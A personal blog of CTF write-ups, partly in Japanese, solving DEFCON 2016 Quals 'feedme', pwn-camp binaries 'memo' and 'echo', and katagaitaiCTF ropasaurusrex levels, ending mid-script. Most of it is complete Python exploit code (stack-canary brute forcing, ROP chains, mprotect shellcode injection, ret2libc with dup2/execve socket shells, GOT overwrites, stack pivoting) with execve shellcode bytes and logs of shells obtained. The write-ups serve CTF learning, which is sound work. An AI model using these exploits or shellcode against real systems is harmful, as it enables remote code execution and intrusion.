DEFCON CTF 2016 Quals: feedme

I had fun solving a problem of DEFCON CTF 2016 Quals in a few hours on May 21 with a friendly team, so I write about the problem I solved.

feedme

We got a binary file and url to connect the target server. First, I checked the state of this file as below:

[root@ubuntu] # file feedme
feedme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
[root@ubuntu] #
[root@ubuntu] # ldd feedme
	not a dynamic executable
[root@ubuntu] #
[root@ubuntu] # gdb -q feedme
Reading symbols from feedme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ q
[root@ubuntu] #
[root@ubuntu] # perl -e 'print "AAAA"'|./feedme > /dev/null
[root@ubuntu] # perl -e 'print "A"x100'|./feedme > /dev/null
*** stack smashing detected ***: ./feedme terminated
[root@ubuntu] #

From the above results, we found out the following:

  • provided file is ELF, running on x86, statically linked, and stripped
  • buffer overflow occers when received long texts
  • the process downs by SSP in spite of "CANARY : disabled"
  • since this file is statically linked, it isn't affected by ASLR: ASLR doesn't randomize the address like "0x0804XXXX".

So, I guessed that we should use BOF and breakthrough the SSP to solve this problem.

Next, I read the file by using IDA. Fortunately, My teammate made a FLIRT signature file, so I imported, then read.

f:id:f_rin:20160525232739p:plain

breakthrough the SSP

According to this file:

  • "___libc_fork" function makes child process, and it reads our input in a loop (800 times). When the file received our inputs, it works as follows:
    (1) It reads the first character of inputted value.
    (2) According to the value of (1), it decides how many bytes reads more, though a buffer size is only 32bytes.
    The BOF occurs at this time. A value of Stack Canary doesn't change even though BOF occers and killed by SSP, because parent process doesn't die while the loop. It takes at most 256 * 3 times to find out a value of Stack Canary by using BruteForce. So we can use Canary Brute Force, and then ROP within 800 times.
  • the file listens our input for 150 seconds and exits. We have to solve in 150 seconds.

ROP

I searched the ROP Gadgets to make a ROP Chain. I found "sh\0" in the provided binary.

[root@ubuntu] # strings -tx ./feedme|grep "sh"
  (snip)
  7a678 clflush
  (snip)
  8b1e1 _dl_setup_hash
[root@ubuntu] #

This is useful to call 'system("sh")'. However, I couldn't find "system". So I had to solve in a different way.

There are some ways to solve this issue, and I chose a Shellcode Injection.
1. Call ___libc_read function
2. Send a Shellcode to .bss
3. Call ___mprotect to make .bss section executable.
f:id:f_rin:20160524001757p:plain
4. Execute the Shellcode

I made the following Stack Layout.

f:id:f_rin:20160525004629p:plain

As a result, I wrote a script bellow,

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

######################
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile("rw", bufsize=0)
	return s, f

def read_until(f, delim="\n"):
	data = ""
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p32(a): return struct.pack("<I", a)
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == "r"):
		print "[+] connect to remote."
		s, f = sock("feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me", 4092)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 4092)

	canary = ""
	read_until(f, "FEED ME!")

	while len(canary) < 4:
		for i in xrange(256):
			buf = "A" * 32 + canary + chr(i)
			f.write(chr(len(buf)) + buf)
			data = read_until(f, "FEED ME!")
			if "YUM" in data:
				canary += chr(i)
				print "[+] canary: %r" % chr(i)
				break
	print "[+] canary: %r" % canary

	sc = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
	bss_addr = 0x080e9000
	read_addr = 0x0806d870
	pppr_addr = 0x0804838c
	mprotect_addr = 0x0806e390

	rop = ""
	# ___libc_read(STDIN, bss_addr+80, len(sc))
	rop += p32(read_addr)
	rop += p32(pppr_addr)
	rop += p32(0)
	rop += p32(bss_addr+80)
	rop += p32(len(sc))
	# ___mprotect(bss_addr, 0x1000, 7)
	rop += p32(mprotect_addr)
	rop += p32(bss_addr+80)
	rop += p32(bss_addr)
	rop += p32(0x1000)
	rop += p32(7)

	payload = "A" * 32 + canary + "A" * 0xc + rop
	f.write(chr(len(payload)) + payload)

	time.sleep(1)
	f.write(sc)

	print "[+] interact mode:"
	shell(s)

if __name__ == "__main__":
	main(sys.argv)

then, ran it.

[root@ubuntu] # py exp.py r
[+] connect to remote.
[+] canary: '\x00'
[+] canary: '\x05'
[+] canary: '\x9d'
[+] canary: ':'
[+] canary: '\x00\x05\x9d:'
[+] interact mode:

ATE 41414141414141414141414141414141...
bash -i
ls
feedme
flag
cat flag
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO

Finally, I got the flag yay!
Since it took under 150 seconds to find out the Stack Canary value and the flag, I didn't need to divise anymore.

pwn合宿 ~夏の陣~

昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。
pwn合宿ではあるが、pwnばかりというよりは常設CTFとかMMA CTFを各自やったり妨害コンテンツのアニメに見入ったりして、pwnはほとんどできない楽しい内容だった。

基本的にはもくもく会だったが、今までチームメイト以外の人と一緒にpwnとかCTF合宿をやる機会がなかった自分にはこうした経験は刺激も大きく、参加してよかったと思える合宿だった。
個人的に一番良かったと思えたのは、合間で色んな人と話ができたこと。
問題を解いた後に他の解法を聞いてみたり、問題以外でも日ごろ感じていることを話したり、経験したことがないCTFの話に聞き入ったり。
特にチームビルディングの話は面白くて、みんな色々と考えているんだな、と知れたことも収穫だった。


今回用に問題を作ってもらったものもあったので、せっかくなので少し紹介したい。
4問あって、heap overflowの問題はBOFさせるところまでは行って試行錯誤したけど解いていないためそれ以外の2問を書こうと思う。

memo

netcatでサーバに接続すると、名前とパスワードを聞かれる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa
Input your password.
(pass)bbbb
Wrong password...

ファイルを見るとx86バイナリ。保護機構を見てみると、Canary と NX が有効となっている。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

バイナリを読むと、xinetd ライクに動いており、

  • (name)の入力で、fgetsから42文字入力
  • (pass)の入力で、fgetsから128文字入力
  • パスワードが合っている場合、(memo)の入力ができ、fgetsから128文字入力
  • バイナリ内のパスワードは"h4v3_4_n1c3_pwn_c4mp!"で固定
  • (pass)で入力した文字列は、0x15番目のoffset を 0x00 にしてから比較。つまり"h4v3_4_n1c3_pwn_c4mp!"のあとは任意の文字を入力しておける

ということがわかる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa  
Input your password.
(pass)h4v3_4_n1c3_pwn_c4mp!bbbbbbbbbbbbbbbbbbbbbbbb  
Hi, aaaa

Write your memo.
(memo)cccc

次に、文字列が読み込まれる場所を見ると3つともStack上に読み込んでいる。
また、3回それぞれの文字列の読込先もStack上に存在しており、さらに2回目と3回目の読込先は、1回目の文字列で上書きすることができる。

x/10wx 0xffffcf02  (1回目の読込先Addr)
0xffffcf02:	0xea71ffff	0xaac807b1	0xa858f7e1	0x0bf8f7fd
0xffffcf12:	0x0d56f7e2	0xd000f7ff	0xf4e2f7ff	0xd55cf7fd
0xffffcf22:	0xffffcf2c	0xffffcfac
                ↑2回目読込先     ↑3回目読込先

32文字入力した後から、2回目と3回目の読込先情報がOverwriteできる。

次に、書き込み可能な箇所を調べるためにメモリマップを見てみる。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x08049000 0x0804a000 rw-p	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x0804c000 0x0804d000 rwxp	mapped
0xf7e13000 0xf7e14000 rw-p	mapped
0xf7e14000 0xf7fbc000 r-xp	/lib/i386-linux-gnu/libc.so.6
0xf7fbc000 0xf7fbe000 r--p	/lib/i386-linux-gnu/libc.so.6
0xf7fbe000 0xf7fbf000 rw-p	/lib/i386-linux-gnu/libc.so.6
0xf7fbf000 0xf7fc2000 rw-p	mapped
0xf7fd8000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

rwxな領域も存在することがわかる。
ここで攻撃方針が立つ。

  1. 1回目の書き込みで、2回目の読込先をrwx領域に、3回目の読込先をどこかのgotに変える。
  2. 2回目の書き込みで、"h4v3_4_n1c3_pwn_c4mp!" の文字列と、その後にシェルコードを送り込む
  3. 3回目の書き込みで、どこかのgotをシェルコードの先頭を指すよう書き換える
  4. gotに飛んだときにシェルコード発動

しかし、静的解析をしていると3回目のfgets(赤線)の後にはlibcの関数を呼ばずにmainが終了していることがわかる。

f:id:f_rin:20150908172227p:plain
x86のためBruteForceでリターンアドレスを書き換えることはできるがもっと良い方法はないものか。
ここで、gdbでmain関数からのReturnを読んでみると、Return後の exit 関数の中で munmap.plt を呼んでいる箇所があった。
main関数だけ見てたら気付かないわけだ…

というわけで3回目の書き込み先は munmap@got.plt にする。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

def main(argv):
	rwx = 0x804c000
	got_munmap = 0x8049ba4

	shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

	keyword = "h4v3_4_n1c3_pwn_c4mp!"

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 10005)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 10005)

	ret = read_until(f, "(name)")
	print ret

	buf = 'A' * 32
	buf += p(rwx)
	buf += p(got_munmap)
	f.write(buf+'\n')

	ret = read_until(f, "(pass)")
	print ret

	buf2 = keyword
	buf2 += shellcode
	f.write(buf2+'\n')

	ret = read_until(f)
	print ret

	buf3 = p(rwx+len(keyword))
	f.write(buf3+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取得することができた。

[root@ubuntu] # python exploit_memo.py r
[+] connect to remote.
Input your name.
(name)
Input your password.
(pass)
Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Write your memo.
(memo)ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /home/*/flag
PWN{enjoypwncamp}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

mainの後とか意識していなかったので勉強になった。

echo

netcatで接続すると、メッセージを入力するように言われ、入力するとそれを返すプログラムの模様。

[root@ubuntu] # nc XXXXXXXXXX 10004
Welcome to Echo Server
Input your message
>>AAAAA  
Okay! I recieved 6 bytes
AAAAA

Bye!

ファイルは同じくx86バイナリ。保護機構も memo とほぼ同様だ。RELROがPartialなので lazy binding が有効。

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

バイナリを読むとforkサーバが実装されているため、親プロセスが死なない限りはアドレス位置や Canary値は変わらない。
このサーバではFD4で接続し、1024文字の入力を recv している。ここで Stack Overflow ができるようになっているが、513文字目から Canary を上書きしてしまうため切断されてしまう。

このプログラムはforkサーバ型なので、Canary BruteForce にて1バイトずつ Canary をリークさせる方針を取る。
その後、dup2にて入出力のファイルディスクリプタを4に差し替え、execve を呼ぶ。
バイナリ内で利用されているdprintfで情報をリークしようとしたがうまく行かないので、仕方なしに libc_base を推測して Brute Force することにした。

なんかBruteばっかりだな…ということでこの問題は ASLR を有効にした自サーバに打つ。
libc_baseは、32bitマシンか64bitマシンで値が違うが、自サーバは64bitマシンで動かしているため 0xf7500000 あたりから0x1000ずつ増やしていけば当たるだろう(ちなみに libc.so.6 は与えられている)。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	libc_base = 0xf7500000
	execve_addr = libc_base + 0xb5be0
	dup2_addr = libc_base + 0xdb590
	binsh_addr = libc_base + 0x160a24
	exit_addr = libc_base + 0x331e0
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	print "[+] Canary found. start ret2libc"
	for i in range(0x200):
		offset = i * 0x1000
		print "[+] libc_base: 0x%08x" % (libc_base + offset)
		buf1 = buf
		buf1 += "A" * 12
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(0)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(1)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(2)
		buf1 += p(offset + execve_addr)
		buf1 += p(pop3ret)
		buf1 += p(offset + binsh_addr)
		buf1 += p(0)
		buf1 += p(0)
		buf1 += p(offset + exit_addr)
		buf1 += "AAAA"
		buf1 += p(0)

		s, f = sock("localhost", 10004)
		ret = read_until(f)
		f.write(buf1+'\n')

		shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取ることができた。

[root@ubuntu] # python exploit_echo_local.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x5b
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xa5
[+] Canary found. start ret2libc
[+] libc_base: 0xf7500000

(snip)

[+] libc_base: 0xf75dc000
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***

Return to dl-runtime-resolve とかでいけるかな、とか思いつつもまだ不勉強なのでやらなかった。
もう少しキレイに解けたら追記しようと思う(pwnにきれいさはいらないとは思うが…)。

追記:
投稿後に普通に dprintf でリークできるよというツッコミをいただいた。
おかしいな、試したはずなのになぜ…と思いつつも試行錯誤すると確かに leak できた。

もともと試していたリーク方法

dprintf(4, "%x\n\x00", got_dprintf)
⇒ dprintf の処理で使われている strchrnul の中でセグって終わる

うまくいった方法

dprintf(4, got_dprintf)


…(´・ω`・)


ということで、 ret2plt を使って libc_base は一発で求まるようになったため、
Canary Brute Force → ret2plt(libc leak) → ret2libc にて攻略できるようになった。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	plt_dprintf = 0x80485e0
	got_dprintf = 0x804a010
	dprintf_offset = 0x4d360
	plt_exit = 0x8048650
	execve_offset = 0xb5be0
	dup2_offset = 0xdb590
	binsh_offset = 0x160a24
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	### leak libc_addr
	print "[+] Canary found. start ret2plt"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf1 = buf
	buf1 += "A" * 12
	buf1 += p(plt_dprintf)
	buf1 += p(pop2ret)
	buf1 += p(4)
	buf1 += p(got_dprintf)
	buf1 += p(plt_exit)
	buf1 += "AAAA"
	buf1 += p(0)
	f.write(buf1+'\n')
	ret = f.read(560)
	dprintf_addr = u(f.read(4))

	print "[+] dprintf_addr: 0x%x" % dprintf_addr
	libc_base = dprintf_addr - dprintf_offset
	print "[+] libc_base: 0x%x" % libc_base

	### ret2libc
	print "[+] start ret2libc"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf2 = buf
	buf2 += "A" * 12
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(0)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(1)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(2)
	buf2 += p(libc_base + execve_offset)
	buf2 += p(pop3ret)
	buf2 += p(libc_base + binsh_offset)
	buf2 += p(0)
	buf2 += p(0)
	buf2 += p(plt_exit)
	buf2 += "AAAA"
	buf2 += p(0)

	f.write(buf2+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

試行回数激減だ。

[root@ubuntu] # python exploit_echo.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x32
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xb3
[+] Canary found. start ret2plt
[+] dprintf_addr: 0xf7651360
[+] libc_base: 0xf7604000
[+] start ret2libc
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

計算したlibc_baseからシェルを起動することができた。


おわりに

改めて振返ってみるとこういう経験って慣れ親しんでいるチームメイトともなかなかやらないし、集まってやれたことはとても良かった。
最初は参加していいものかビビっていたが、pwnばかり考えて、寝泊りしながら問題解いて、話ができて(←これ重要)、つながれたことは貴重で、明け方にホロ酔いになりながら談笑したことはたぶん忘れない。

最後に。
CTF始めたてで、pwn経験がない方が一人参加されていたけど2日足らずで村人A, Bを突破しBOFの問題にまで手を付けている様子を見て、pwn合宿の威力ハンパねぇw と思った。
あと世の中はすごい人がたくさんいるなという率直な感想。
この威力に負けないよう、そして次はさらに楽しめるようになろうと思う。

運営お疲れ様でした。

katagaitaiCTF ropasaurusrex

7/5(日)に、katagaitaiCTFに参加してきた。
特に目的はbataさんのpwnable. 資料もさることながら説明もわかりやすく、Stack overflowについての知見を多く得た会だった。

題材はPlaid CTFの過去問である"ropasaurusrex" で、これを解くhands on と、このバイナリを魔改造した advanced の構成となっていた。独学の曖昧な知識もしっかりと補完できる、とても有意義な内容だった。

このうち、解けたものをWriteupとして書いていこうと思う。
記載時点ではropasaurusrex5 は解けていないが、これも今後解けたら書く。
(その後解けたためこの解法も追記しました)

ropasaurusrex

これはHands onでもやった内容。
バイナリを見ると最大256文字をreadし、その後 "WIN\n" と出力するプログラム。

f:id:f_rin:20150712045310p:plain

[root@ubuntu] # nc localhost 1025
aaa
WIN
[root@ubuntu] #

ただし確保しているBufferは128バイトのため、140文字の後からBuffer over flowが発生する。
なお、いずれの問題もNXとASLRは有効である。

[root@ubuntu] # gdb -q ropasaurusrex
Reading symbols from ropasaurusrex...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ pattc 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
Starting program: /home/rintaro/Desktop/pwn/bin/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'

Program received signal SIGSEGV, Segmentation fault.

(snip)

Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ patto $eip
1094806849 found at offset: 140
gdb-peda$ 

NXが有効なため、スタック上ではシェルコードを実行できない。
ret2plt を用いることで攻略できるため、Stack状態を以下の状態にして、/bin/sh を取得する。

f:id:f_rin:20150719143631p:plain

GOTの write に相当する箇所をsystem関数に書き換えておき、スタックを調整しておくことで、write関数が呼ばれた際にsystem("/bin/sh")が実行される。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1025)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += p(p3ret)
	buf += p(1)
	buf += p(got_write)
	buf += p(4)
	# read(STDIN, data, 8)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(data)
	buf += p(8)
	# read(STDIN, got_write, 4)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(got_write)
	buf += p(4)
	# write(data) # system("/bin/sh")
	buf += p(plt_write)
	buf += p(0xdeadbeef)
	buf += p(data)

	f.write(buf)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これで、flagの読み込みが可能となった。

[root@ubuntu] # python exploit.py r
[+] connect to remote.
[+] libc_write addr : f76acc50
[+] libc_base addr  : f75d2000
[+] libc_system addr: f7612190
ls /home/*/flag*
/home/ropasaurusrex/flag
cat /home/ropasaurusrex/flag
you_cant_stop_the_ropasaurusrex
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex2

ここから魔改造が始まる。
Level2は、入力文字数が160bytesに制限されている。

f:id:f_rin:20150712045439p:plain

ROP可能な領域が充分にないため、Stack PivotによりROP領域を.bssに移して実行する。
Old $EBP 領域に、リターン後に .bss が来るよう "移したい箇所 -4" をセットしておき、その後の leave + ret 命令で $ESP を .bss 領域に持っていく。
前半のstack pivot の部分以外は Level1 と同様のやり方で/bin/shを奪取できた。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1026)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 72) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
